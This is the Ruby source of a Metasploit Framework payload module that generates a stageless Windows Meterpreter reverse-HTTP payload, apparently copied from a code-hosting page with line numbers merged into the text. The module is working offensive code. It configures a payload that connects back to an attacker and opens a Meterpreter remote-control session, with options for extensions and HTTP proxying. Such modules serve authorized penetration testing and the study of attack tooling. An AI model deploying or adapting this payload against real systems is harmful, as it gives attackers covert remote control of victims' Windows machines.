Path: blob/master/modules/payloads/singles/windows/meterpreter_reverse_http.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 17878078include Msf::Payload::TransportConfig9include Msf::Payload::Windows10include Msf::Payload::Single11include Msf::Payload::Windows::MeterpreterLoader12include Msf::Sessions::MeterpreterOptions1314def initialize(info = {})15super(16merge_info(17info,18'Name' => 'Windows Meterpreter Shell, Reverse HTTP Inline',19'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.',20'Author' => [ 'OJ Reeves' ],21'License' => MSF_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X86,24'Handler' => Msf::Handler::ReverseHttp,25'Session' => Msf::Sessions::Meterpreter_x86_Win26)27)2829register_options([30OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),31OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])32])3334register_advanced_options(35Msf::Opt.http_header_options +36Msf::Opt.http_proxy_options37)38end3940def generate(opts = {})41opts[:stageless] = true42stage_meterpreter(opts) + generate_config(opts)43end4445def generate_config(opts = {})46opts[:uuid] ||= generate_payload_uuid4748# create the configuration block49config_opts = {50arch: opts[:uuid].arch,51exitfunk: datastore['EXITFUNC'],52expiration: datastore['SessionExpirationTimeout'].to_i,53uuid: opts[:uuid],54transports: [transport_config_reverse_http(opts)],55extensions: (datastore['EXTENSIONS'] || '').split(','),56ext_init: datastore['EXTINIT'] || '',57stageless: true58}.merge(meterpreter_logging_config(opts))5960# create the configuration instance based off the parameters61config = Rex::Payloads::Meterpreter::Config.new(config_opts)6263# return the binary version of it64config.to_b65end66end676869